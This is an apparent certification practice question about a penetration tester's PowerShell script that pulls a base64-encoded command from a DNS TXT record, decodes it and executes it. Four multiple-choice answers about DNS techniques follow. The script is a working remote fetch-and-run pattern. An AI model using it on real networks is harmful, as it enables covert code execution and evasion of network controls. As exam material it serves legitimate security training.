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A penetration tester writes the following script, which is designed to hide communication and bypass...

A penetration tester writes the following script, which is designed to hide communication and bypass some restrictions on a client ' s network:

$base64cmd = Resolve-DnsName foo.comptia.org -Type TXT | Select-Object -ExpandProperty Strings

$decodecmd = [System.Text.Encoding]::UTF8.GetString([System.Convert] ::FromBase64String($base64cmd))

Powershell -C $decodecmd

Which of the following best describes the technique the tester is applying?

A.

DNS poisoning

B.

DNS infiltration

C.

DNS trail

D.

DNS tunneling

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